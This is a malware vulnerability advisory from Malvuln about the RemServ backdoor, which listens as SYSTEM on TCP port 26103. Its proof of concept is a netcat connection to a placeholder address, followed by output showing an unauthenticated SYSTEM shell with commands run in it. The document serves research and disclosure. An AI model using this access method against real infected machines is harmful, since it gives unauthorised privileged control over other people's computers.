Backdoor.Win32.RemServ.d MVID-2022-0655 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/05a082d441d9cf365749c0e1eb904c85.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.RemServ.dVulnerability: Unauthenticated Remote Command ExecutionFamily: RemServType: PE32MD5: 05a082d441d9cf365749c0e1eb904c85Vuln ID: MVID-2022-0655Disclosure: 11/11/2022Description: The malware creates a service "RSMSS" that runs as SYSTEM and listens on TCP port 26103. Remote attackers who can connect to an infected host will get back a shell as "nt authority\system".Exploit/PoC:C:\>nc64.exe x.x.x.x 26103Microsoft Windows [Version 10.0.16299.309](c) 2017 Microsoft Corporation. All rights reserved.C:\>whoamiwhoamint authority\systemC:\>net usernet userUser accounts for \\----------------------------------------------------------------------------Administrator            DefaultAccount           GuestVictim                   WDAGUtilityAccountThe command completed with one or more errors.Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).